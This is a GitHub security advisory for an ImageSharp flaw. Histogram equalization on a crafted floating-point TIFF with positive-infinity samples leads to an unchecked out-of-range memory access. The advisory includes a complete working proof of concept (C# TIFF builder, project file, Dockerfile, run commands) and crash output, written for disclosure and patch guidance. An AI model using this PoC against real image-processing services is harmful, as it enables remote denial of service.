Skip to content

HistogramEqualization uses an unvalidated luminance as an unchecked histogram index

High
JimBobSquarePants published GHSA-j3p4-wp97-rph4 Sep 15, 2026

Package

nuget SixLabors.ImageSharp (NuGet)

Affected versions

>= 2.0.0, < 3.2.0
>= 4.0.0, < 4.1.2

Patched versions

3.2.0
4.1.2

Description

Patched versions

Fixed in ImageSharp 3.2.0 and 4.1.2. Users on v3 should upgrade to 3.2.0; users on v4 should upgrade to 4.1.2 or later.

Summary

SixLabors.ImageSharp can terminate a process when an application decodes
an attacker-supplied 32-bit floating-point TIFF as Image<HalfVector4> and applies
HistogramEqualization(). An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range
HalfVector4 component, depending on the release. The histogram equalization path derives a luminance-based
histogram index without validating that result, reaching an unsafe out-of-range
access.

This report covers HistogramEqualization only. It does not claim Adaptive
Histogram Equalization or AutoLevel behavior.

Affected package and versions

  • Package: SixLabors.ImageSharp (NuGet)
  • Affected ranges: >= 2.0.0, < 3.2.0 and >= 4.0.0, < 4.1.2
  • Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.

TIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index affects versions from v2.0.0 up to, but not including, v3.2.0, and v4 versions from v4.0.0 up to, but not including, v4.1.2. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with AccessViolationException, while the finite 0.5 control completes on each tested release.

Details

ColorNumerics.GetBT709Luminance can produce a luminance that does not map to a valid histogram index. GrayscaleLevelsRowOperation.Invoke then uses that result as an unchecked Unsafe.Add offset into the histogram.

The reproduction reaches this code through the public HistogramEqualization() extension. It does not test or claim the Adaptive Histogram Equalization or AutoLevel paths.

Tested environment

The reproduction uses the DLL in the published NuGet 4.1.1 package:

SixLabors.ImageSharp.dll SHA-256:
c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f
Runtime: .NET 8.0.30 (linux-arm64)
SDK: 8.0.424
OS: Debian GNU/Linux 12 (bookworm), Docker

Reproduction

Build the supplied Dockerfile and run the exploit. The harness creates a valid
8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity,
decodes it through the public API, and invokes HistogramEqualization().

Observed result:

mode=exploit tiffBytes=166 sample=Infinity
decoded=8x1 pixel=<Infinity, Infinity, Infinity, 1>
Fatal error. System.AccessViolationException: Attempted to read or write protected memory.
...
at SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke
...
at SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization
Docker exit status: 133

The control is identical except samples are 0.5:

mode=control tiffBytes=166 sample=0.5
decoded=8x1 pixel=<0.5, 0.5, 0.5, 1>
completed
Docker exit status: 0

When the same exploit binary was invoked through a shell inside the container,
the shell printed Aborted and reported status 134. The direct docker run
result above is the result for the supplied Docker commands.

No active exploitation is known.

Complete PoC files

Program.cs:

using SixLabors.ImageSharp;
using SixLabors.ImageSharp.PixelFormats;
using SixLabors.ImageSharp.Processing;

static class Program
{
    private static void AddEntry(List<byte> ifd, ushort tag, ushort type, uint count, uint value)
    {
        ifd.AddRange(BitConverter.GetBytes(tag));
        ifd.AddRange(BitConverter.GetBytes(type));
        ifd.AddRange(BitConverter.GetBytes(count));
        ifd.AddRange(BitConverter.GetBytes(value));
    }

    // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples.
    private static byte[] BuildTiff(float sample)
    {
        const int width = 8;
        const int entries = 10;
        const int ifdOffset = 8;
        const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4;
        List<byte> file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00];
        List<byte> ifd = [];
        ifd.AddRange(BitConverter.GetBytes((ushort)entries));
        const ushort Short = 3, Long = 4;
        AddEntry(ifd, 256, Long, 1, width);             // ImageWidth
        AddEntry(ifd, 257, Long, 1, 1);                 // ImageLength
        AddEntry(ifd, 258, Short, 1, 32);               // BitsPerSample
        AddEntry(ifd, 259, Short, 1, 1);                // Compression = none
        AddEntry(ifd, 262, Short, 1, 1);                // Photometric = BlackIsZero
        AddEntry(ifd, 273, Long, 1, pixelOffset);       // StripOffsets
        AddEntry(ifd, 277, Short, 1, 1);                // SamplesPerPixel
        AddEntry(ifd, 278, Long, 1, 1);                 // RowsPerStrip
        AddEntry(ifd, 279, Long, 1, width * 4);         // StripByteCounts
        AddEntry(ifd, 339, Short, 1, 3);                // SampleFormat = IEEE float
        ifd.AddRange([0, 0, 0, 0]);
        file.AddRange(ifd);
        for (int i = 0; i < width; i++)
        {
            file.AddRange(BitConverter.GetBytes(sample));
        }

        return file.ToArray();
    }

    private static void Main(string[] args)
    {
        string mode = args.FirstOrDefault() ?? "exploit";
        float sample = mode == "control" ? 0.5F : float.PositiveInfinity;
        byte[] tiff = BuildTiff(sample);
        Console.Error.WriteLine($"mode={mode} tiffBytes={tiff.Length} sample={sample}");

        using Image<HalfVector4> image = Image.Load<HalfVector4>(tiff);
        Console.Error.WriteLine($"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}");
        image.Mutate(x => x.HistogramEqualization());
        Console.Error.WriteLine("completed");
    }
}

Project file:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
  <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->
  <ItemGroup>
    <Reference Include="SixLabors.ImageSharp">
      <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
    </Reference>
    <Reference Include="System.IO.Hashing">
      <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
    </Reference>
  </ItemGroup>
</Project>

Dockerfile:

FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY j3p4.csproj Program.cs ./
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \
    && dotnet restore fetch.csproj --nologo \
    && rm fetch.csproj \
    && dotnet build j3p4.csproj -c Release --nologo -v quiet
ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/j3p4.dll"]

Run:

docker build -t imagesharp-j3p4-poc .
docker run --rm imagesharp-j3p4-poc exploit
docker run --rm imagesharp-j3p4-poc control

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2026-106113

Weaknesses

Out-of-bounds Write

The product writes data past the end, or before the beginning, of the intended buffer. Learn more on MITRE.

Credits